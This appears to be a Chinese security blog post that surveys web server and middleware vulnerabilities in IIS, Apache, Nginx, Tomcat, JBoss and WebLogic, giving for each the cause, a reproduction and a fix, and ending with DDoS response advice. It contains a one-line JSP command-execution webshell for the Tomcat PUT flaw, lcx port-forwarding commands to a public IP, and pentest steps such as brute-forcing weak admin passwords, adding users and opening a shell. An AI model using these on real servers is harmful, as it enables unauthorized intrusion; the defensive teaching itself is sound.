关闭WebDAV

IIS 短文件猜解

前提条件

IIS 1.0,Windows NT 3.51  
IIS 3.0,Windows NT 4.0 Service Pack 2  
IIS 4.0,Windows NT 4.0选项包 
IIS 5.0,Windows 2000  
IIS 5.1,Windows XP Professional和Windows XP Media Center Edition  
IIS 6.0,Windows Server 2003和Windows XP Professional x64 Edition  
IIS 7.0,Windows Server 2008和Windows Vista  
IIS 7.5,Windows 7(远程启用<customErrors>或没有web.config)
IIS 7.5,Windows 2008(经典管道模式)
IS 8.0,Windows 8, Windows Server 2012
IIS 8.5,Windows 8.1,Windows Server 2012 R2
IIS 10.0,Windows 10, Windows Server 2016
注意:IIS使用.Net Framework 4时不受影响

短文件名特征

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递增
  2. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断
  3. 所有小写字母均转换成大写的字母
  4. 长文件名中包含多个”.”的时候,以文件最后一个”.”作为短文件名的后缀
  5. 文件名后缀长度大于等于4或者总长度大于等于9时才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件

漏洞原理

访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400

自动化探测

https://github.com/lijiejie/IIS_shortname_Scanner

漏洞修复

(1)升级.net framework到4.0以上
(2)修改注册表禁用短文件名功能快捷键Win+R打开命令窗口,输入regedit打开注册表窗口,找到路径:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,将其中的NtfsDisable8dot3NameCreation这一项的值设为1,1代表不创建短文件名格式,修改完成后,需要重启系统生效(之前存在的文件依然有短文件,新建的文件满足生成短文件条件但是不会再生成)
(3)那么之前的文件已经存在短文件名仍能够被猜解怎么办呢?将目录内所有文件剪切到另外地方再粘贴回来就行,相当于新建,这些就没有短文件名无法被猜解了

Apache漏洞

Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台和
安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等
解释器编译到服务器中。

Apache文件解析漏洞

漏洞介绍

Apache 文件解析漏洞与用户的配置有密切关系,严格来说属于用户配置问题。

漏洞原理

Apache 文件解析漏洞涉及到一个解析文件的特性:

Apache 默认一个文件可以有多个以点分隔的后缀,Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不
可识别文件解析(不在 mime.tyoes 内),则继续向左识别,当我们请求这样一个文件:

shell.php.xxx.yyy 
yyy ->无法识别,向左
xxx ->无法识别,向左
php ->发现后缀是 php,交给 php 处理这个文件

漏洞检测

本地访问127.0.0.1/1.php.ha ,观察文件是否能被解析成php,若能则存在此漏洞

漏洞危害

配置文件上传漏洞,可以绕过黑名单限制,上传木马文件,控制服务器。

漏洞修复

1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>
Order Allow,Deny
Deny from all
</Files>

2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>

Apache目录遍历

漏洞成因

由于配置错误导致的目录遍历

漏洞修复

修改apache配置文件httpd.conf

找到Options+Indexes+FollowSymLinks +ExecCGI,

修改成 Options-Indexes+FollowSymLinks +ExecCGI 并保存

Nginx漏洞

Nginx(engine x)是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,可以稳定地运行在
Linux、Windows等操作系统上,其特点是占用内存少,并发能力强。

Nginx文件解析漏洞

漏洞介绍

Nginx文件解析漏洞,构造的恶意请求经过nginx中间件处理后,被合法的执行。php有一个选项cgi.fix_pathinfo,默认
值为1,表示开启。

漏洞成因

对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php进行解析
攻击。

漏洞复现

在test.jpg文件中写入<?php phpinfo();?>,用浏览器打开文件,会显示错误,在url地址栏中添加/1.php,若有正确
phpinfo()回显页面,则证明该漏洞存在。

漏洞修复

1) 将php.ini文件中的cgi.fix_pathinfo的值设为0.这样php在解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示
404;
2) 将/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值设为.php
3)在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

Nginx目录遍历漏洞

漏洞成因

与Apache目录遍历一样,属于配置方面的问题,配置不好的话可以导致目录遍历和源码泄露。

漏洞修复

/etc/nginx/sites-avaliable/default里的autoindex on改为autoindex off

Nginx任意文件读取

漏洞介绍

这个常见于Nginx做反向代理的情况,动态的部分被proxy_pass传递给后端端口,而静态文件需要Nginx来处理。

漏洞成因

假设静态文件存储在/home/目录下,而该目录在url中名字为files,由于访问 url 上files没有添加后缀 / ,这个 /就导致
我们可以从/home/目录穿越到他的上层目录,造成任意文件下载。

漏洞复现

访问http://127.0.0.1:8080/files时,出现该文件夹下的文件

访问http://127.0.0.1:8080/files../时,会遍历上级目录

漏洞修复

1)用alias设置目录的别名:

location /files {
 alias /home/;
} 

2)在配置文件中删除autoindex on即可

$uri导致的CRLF注入

漏洞成因

  1. 用户访问 http://xxx.com/haha ,自动跳转到 https://xxx.com/haha
  2. 用户访问 http://xxx.com/haha ,自动跳转到 http://www.xxx.com/haha

在跳转的过程中,我们需要保证用户访问的页面不变,所以需要从Nginx获取用户请求的文件路径。查看Nginx文档,
可以发现有三个表示uri的变量:

$uri 
$document_uri 
$request_uri 

$uri 和 $document_uri表示的是解码以后的请求路径,不带参数

$request_uri表示的是完整的URI(没有解码)

如果在nginx.conf中配置了下列的代码:

location / {
 return 302 https://$host$uri;
}

因为$uri是解码以后的请求路径,所以可能就会包含换行符,也就造成了一个CRLF注入漏洞。

这个CRLF注入漏洞可以导致会话固定漏洞、设置Cookie引发的CSRF漏洞或者XSS漏洞。

该漏洞除了发生在return后面,也可能发生在rewriteadd_headerproxy_set_headerproxy_pass之后。

理论上,只要是可以设置HTTP头的场景都会出现这个问题。

漏洞修复

location / {
 return 302 https://$host$request_uri;
}

SSRF漏洞

SSRF(服务端请求伪造)漏洞常出现在反向代理的配置中,反向代理的语法如下:proxy_pass http ://IP

如果攻击者可以操控IP, 将其修改成内网IP地址即可造成SSRF漏洞。

安全防护

隐藏 Nginx 的版本号

在配置文件nginx.conf里面,设置如下:server_tokens off;

Nginx配置安全检查的工具

Github上开源了一款Nginx配置安全检查的工具,叫做gixy,可以覆盖以上的部分问题。

工具是用python编写的,python2.7和3.5+版本都支持。可以直接用pip来安装:pip install gixy。

使用起来也很简单,直接将 gixy 命令后面加上 ningx.conf 文件的具体位置即可。

总结

Nginx配置文件造成的漏洞不止以上我陈列的这些,解决这些漏洞的根本方法,还是要阅读官方文档

Tomcat漏洞

Tomcat 服务器是一个免费的开放源代码的 Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户
不是很多的场合下被普遍使用,是开发和调试 JSP 程序的首选。

对于一个初学者来说,可以这样认为,当在一台机器上配置好 Apache 服务器,可利用它响应 HTML(标准通用标记语
言下的一个应用)页面的访问请求。实际上 Tomcat 是 Apache 服务器的扩展,但运行时它是独立运行的,所以当运行
tomcat 时,它实际上作为一个与 Apache 独立的进程单独运行的。

Tomcat远程代码执行

漏洞成因

Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法,可通过构造的攻击请求向服务器上传包含任意代码的
JSP 文件,造成任意代码执行。

影响版本:Apache Tomcat 7.0.0 – 7.0.81

漏洞复现

配置漏洞,开启put方法可上传文件功能。

当readonly参数设置为false时,即可通过PUT方式创建一个JSP文件,并可以执行任意代码。

tomcat文件夹下的/conf/web.xml文件插入:

<init-param>
 <param-name>readonly</param-name>
 <param-value>false</param-value>
</init-param>

重启tomcat服务。

访问127.0.0.1:8080,burp抓包,send to Repeater,将请求方式改为PUT,创建一个test.jsp,并用%20转义空格字符。

test.jsp内容为:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%> 

返回201,说明创建成功

访问127.0.0.1:8080/122.jsp?cmd=calc

弹出计算器

漏洞修复

  • 检测当前版本是否在影响范围内,并关闭可通过PUT方式创建JSP文件的功能。
  • 更新并升级至最新版

war后门文件部署

漏洞成因

Tomcat 支持在后台部署war文件,可以直接将webshell部署到web目录下。
若后台管理页面存在弱口令,则可以通过爆破获取密码。

漏洞复现

Tomcat安装目录下conf里的tomcat-users.xml配置如下:

<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="admin" roles="manager-gui"/>
<user username="Tomcat" password="Tomcat" roles="admin-gui"/>

访问后台,登陆。

上传一个war包,里面是jsp后门。成功上传并解析,打开,可执行系统命令,也可进行文件管理,任意查看、删除、上传文件。

漏洞修复

  1. 在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如
    不允许远程登录)。
  2. 增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在
    CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
  3. 以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
  4. 后台管理避免弱口令。

反序列化漏洞

漏洞介绍

该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用了 JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致的远程代
码执行。

该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。

漏洞影响版本:

  • ApacheTomcat 9.0.0.M1 到9.0.0.M11
  • ApacheTomcat 8.5.0 到8.5.6
  • ApacheTomcat 8.0.0.RC1 到8.0.38
  • ApacheTomcat 7.0.0 到7.0.72
  • ApacheTomcat 6.0.0 到6.0.47

漏洞修复

  1. 关闭JmxRemoteLifecycleListener功能,或者是对jmx JmxRemoteLifecycleListener远程端口进行网络访问控制。同时,
    增加严格的认证方式。
  2. 根据官方去升级更新相对应的版本。

JBoss漏洞

JBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss
是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容
器,一般与Tomcat或JeƩy绑定使用。

JBoss反序列化漏洞

漏洞成因

Java 序列化,简而言之就是把 java 对象转化为字节序列的过程。而反序列化则是再把字节序列恢复为 java 对象的过
程,然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。

漏洞复现

靶机启动JBoss,攻击机访问靶机服务。访问/invoker/readonly,返回500,说明页面存在,此页面有反序列化漏洞。

漏洞修复

有效解决方案:升级到 JBOSS AS7 版本

临时解决方案:

  1. 不需要 hƩp-invoker.sar 组件的用户可直接删除此组件;
  2. 用于对 hƩp invoker 组件进行访问控制。

war后门文件部署

漏洞成因

jBoss后台管理页面存在弱口令,通过爆破获得账号密码。登陆后台上传包含后门的war包。

漏洞修复

  1. 开启jmx-console密码认证
  2. 删除jmx-console.war与web-console.war

weblogic漏洞

WebLogic是美国Oracle公司出品的一个applicaƟonserver,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于
开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

Weblogic 识别

  • response的server标示:Server: Oracle-iPlanet-Web-Server/7.0
  • 错误页面:error 404 from rfc 2068
  • 指定页面:console/login/loginform.jsp
  • T3协议:t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n

Weblogic反序列化漏洞

漏洞成因

Java序列化,简而言之就是把java对象转化为字节序列的过程。而反序列话则是再把字节序列恢复为java对象的过程,
然而就在这一转一变得过程中,程序员的过滤不严格,就可以导致恶意构造的代码的实现。

漏洞复现

使用vulhub实验环境,启动实验环境,访问靶机,抓包,修改数据包。Kali启动监听。发送数据包成功后,拿到shell。

漏洞修复

  1. 升级Oracle 10月份补丁。
  2. 对访问wls-wsat的资源进行访问控制。

Weblogic SSRF漏洞

漏洞成因

Weblogic 中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

漏洞修复

方法一:

以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了;

方法二:

  • 删除uddiexplorer文件夹
  • 限制uddiexplorer应用只能内网访问

方法三:(常用)

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更
准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法二采用的是改后辍的方式,修复步骤如
下:

  • 将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
  • 将weblogic安装目录下的server/lib/uddiexplorer.war下载
  • 用winrar等工具打开uddiexplorer.war
  • 将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
  • 保存后上传回服务端替换原先的uddiexplorer.war
  • 对于多台主机组成的集群,针对每台主机都要做这样的操作
  • 由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台– 启server–启应用)

Weblogic 任意文件上传

漏洞成因

通过访问config.do配置页面,先更改Work Home工作目录,用有效的已部署的Web应用目录替换默认的存储JKS Keystores文件的目录,之后使用”添加Keystore设置”的功能,可上传恶意的JSP脚本文件。

漏洞修复

方法一:

使用Oracle官方通告中的补丁链接:

方案二:

  • 进入Weblogic Server管理控制台;
  • domain设置中,启用”生产模式”。

war后门文件部署

漏洞成因

由于WebLogic后台存在弱口令,可直接登陆后台上传包含后门的war包。

漏洞修复

防火墙设置端口过滤,也可以设置只允许访问后台的IP列表,避免后台弱口令。

weblogic 最近漏洞

Weblogic远程代码执行漏洞( CVE-2020-2546、CVE-2020-2551)

CVE-2020-2546

该漏洞通过T3协议实现利用、攻击者可通过此漏洞实现远程代码执行,CVSS评分均为9.8。利用复杂度低。

CVE-2020-2551

该漏洞可以绕过Oracle官方在2019年10月份发布的最新安全补丁。攻击者可以通过IIOP协议远程访问Weblogic Server服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。CVSS评分9.8。

发现weblogic服务

https://www.freebuf.com/vuls/194811.html

当我们拥有客户授权的情况下,一般采取nmap,masscan甚至是Python自己编写的端口扫描工具,各有优缺。

weblogic服务渗透的思路

发现weblogic服务,第一反应是常见的能getshell的漏洞

比如后台弱口令,密码是base64编码的,可以用burpsuite增加编码参数,也可以用网上开源的一些工具进行爆破,然后war包部署拿shell。

再比如对weblogic的T3协议,反序列化命令执行,直接执行系统命令。

像目录样例操纵和拒绝服务这些鸡肋的漏洞我们这暂且不谈。这个靠的是渗透经验,就像上次参加一个众测,网站出现了action结尾的网址时,立马直接struts2命令执行扫了一下直接getshell菜刀连上,高危漏洞吧,当然了,跟大佬们一起挖洞众测,这么简单的漏洞,比的就是速度了,后面有空会分享一些挖洞的经验,这里暂且不提。

对weblogic服务的渗透

weblogic,没有打补丁,也没有禁用t3协议。我们可以使用工具进行反序列化利用。

  • 工具名:Java反序列化终极测试工具 – powered by STG-6哥

然后执行一系列命令查看目标环境

常规套路,net user增加用户,给权限等,注意如果不是公网的服务器,Web服务端口是映射出来的化,我们这边还需要给我们自己这边的攻击机弹个shell,有很多工具,这里用瑞士军刀演示。

weblogic Tips

漏洞靶场

https://github.com/vulhub/vulhub/tree/master/weblogic

一些weblogic默认密码

http://cirt.net/passwords?criteria=weblogic

0x15 网站渗透及应急响应

登录界面-渗透测试
登陆页面渗透测试常见的几种思路与总结

网站被入侵应急响应

网站被黑后应急响应思路和方法

【面试】网站渗透思路

渗透测试的8个步骤 展现一次完整的渗透测试过程及思路

0x16 cc攻击和dos攻击

CC攻击

CC攻击是一种以网站页面为攻击目标du的应用层攻击,攻击时选择服务器开放的页面中需要较多资源开销的应用。例如占用大量CPU资源进行运算或需要大量访问数据库的应用。主要是以.asp、.jsp、.php、.cgi等结尾的页面资源。

CC防护上,经济实力好的可以选择购买DDOS高防设备,因为CC攻击也属于DDOS攻击的一种。经济实力一般,可以考虑安装防护软件。安全狗或者360网站卫士。个人趋向于安全狗,同时安装服务器安全狗和网站安全狗可以有效地防护CC攻击。可以有效地防止服务器因为受到CC攻击而产生CPU使用率100%的情况出现。

DDOS攻击

攻DDOS攻击全程为:分布式拒绝服务攻击,是指击者利用大量“肉鸡”对攻击目标发动大量的正常或非正常请求、耗尽目标主机资源或网络资源,从而使被攻击的主机不能为合法用户提供服务。

DDOS攻击的本质是:利用木桶原理,寻找利用系统应用的瓶颈;阻塞和耗尽;当前问题:用户的带宽小于攻击的规模,噪声访问带宽成为木桶的短板。其实cc攻击也属于ddos攻击的一种。
对于这类的攻击,用软硬件结合的方式来防御是最有效的。单独 防御都是蛮吃力的

两者区别

ddos攻击和cc攻击区别主要是针对对象的不同。是主要针对IP的攻击,而CC攻击的主要是网页。CC攻击相对来说,攻击的危害不是毁灭性的,但是持续时间长;而ddos攻击就是流量攻击,这种攻击的危害性较大,通过向目标服务器发送大量数据包,耗尽其带宽,更难防御。

ddos应急思路

https://www.cnblogs.com/southx/p/10683113.html

  1. 如果只有几台计算机是攻击的来源,并且你已经确定了这些来源的 IP 地址, 你就在防火墙服务器上放置一份ACL(访问控制列表) 来阻断这些来自这些 IP 的访问。如果可能的话 将 web 服务器的 IP 地址变更一段时间,但是如果攻击者通过查询你的 DNS 服务器解析到你新设定的IP,那这一措施及不再有效了。
  2. 如果你确定攻击来自一个特定的国家,可以考虑将来自那个国家的 IP 阻断,至少要阻断一段时间.
  3. 监控进入的网络流量。通过这种方式可以知道谁在访问你的网络,可以监控到异常的访问者,可以在事后分析日志和来源IP。在进行大规模的攻击之前,攻击者可能会使用少量的攻击来测试你网络的健壮性。
  4. 对付带宽消耗型的攻击来说,最有效(也很昂贵)的解决方案是购买更多的带宽。
  5. 也可以使用高性能的负载均衡软件,使用多台服务器,并部署在不同的数据中心。
  6. 对Web和其他资源使用负载均衡的同时,也使用相同的策略来保护DNS。
  7. 优化资源使用提高web server的负载能力。例如,使用apache可以安装apachebooster插件,该插件与varnish和nginx集成,可以应对突增的流量和内存占用。
  8. 使用高可扩展性的DNS设备来保护针对DNS的DDoS攻击。可以考虑购买Cloudflare的商业解决方案,它可以提供针对DNS或TCP/IP3到7层的DDoS攻击保护。如果想获得更多的服务支持(国外的安全服务一般是没有售后的,如果遇到问题只能提交工单进行解决,效率很低。),可以考虑选择国内的安全服务商。推荐知道创宇、腾讯云和阿里云。
  9. 启用路由器或防火墙的反IP欺骗功能。在CISCO的ASA防火墙中配置该功能要比在路由器中更方便。在 ASDM(Cisco Adaptive Security Device Manager)中启用该功能只要点击“配置”中的“防火墙”,找到“anti-spoofing”然后点击启用即可。也可以在路由器中使用 ACL(access control list)来防止 IP 欺骗,先针对内网创建 ACL,然后应用到互联网的接口上。
  10. 使用第三方的服务来保护你的网站。有不少公司有这样的服务,提供高性能的基础网络设施帮你抵御拒绝服务攻击。你只需要按月支付几百美元费用就行。
  11. 注意服务器的安全配置,避免资源耗尽型的 DDoS 攻击。
  12. 听从专家的意见,针对攻击事先做好应对的应急方案。
  13. 监控网络和 web 的流量。如果有可能可以配置多个分析工具,例如:Statcounter 和 Google analytics,这样可以更直观了解到流量变化的模式,从中获取更多的信息。
  14. 保护好 DNS 避免 DNS 放大攻击。
  15. 在路由器上禁用 ICMP。仅在需要测试时开放 ICMP。在配置路由器时也考虑下面的策略:流控,包过滤,半连接超时,垃圾包丢弃,来源伪造的数据包丢弃,SYN 阀值,禁用 ICMP 和 UDP 广播。

0x17 CTF中的AWD

CTF中的AWD套路:https://www.cnblogs.com/sstfy/p/11853919.html

0x18 系统安全加固

Windows系统加固:http://luckyzmj.cn/posts/d948fb96.html

Linux系统加固:http://luckyzmj.cn/posts/2969a689.html

0x19 渗透后门利用

https://mp.weixin.qq.com/s/EfzSC979qQqXxXLZsV9LpA

0x20 端口转发工具

[内网渗透]端口转发工具大合集

https://www.cnblogs.com/-mo-/p/11818890.html

使用LCX进行内网端口转发

第一条命令(lcx -listen 51 3389)(3389可以设置为任意没使用的端口数字)是在具有外网独立IP的计算机上执行(即B机),表示在本机上监听51端口,该端口主要是接受被控制计算机3389端口转发过来的数据;

第二条命令(lcx -slave 218.69.13.35 51 192.168.80.129 3389)表示将本机IP地址为192.168.80.129的3389端口转发到远程地址为218.69.13.35的51端口上;

https://blog.csdn.net/xiaoshan812613234/article/details/38495071

端口转发之 nc

https://www.cnblogs.com/yyxianren/p/11387827.html

HTran的实现端口转发

https://blog.csdn.net/qq_35085863/article/details/77758207

0x21 渗透测试信息收集

http://luckyzmj.cn/posts/8d90fcdb.html


文章作者: Luckysec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Luckysec !
评论
 上一篇
逻辑漏洞总结 逻辑漏洞总结
相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,可能造成了企业的资产损失和名誉受损,并且传统的安全防御设备和措施收效甚微。
2020-08-09
下一篇 
Windows 系统安全 Windows 系统安全
目前,Windows 系统已经占据了绝大部分的桌面市场,同时在服务器市场也占有较大比重。长期以来,由于病毒攻击、黑客入侵等原因,给人们留下了易受攻击的不好印象。本文将以 Windows 系统安全方面展开分享一些 Windows 系统安全防护措施。
2020-05-27
  目录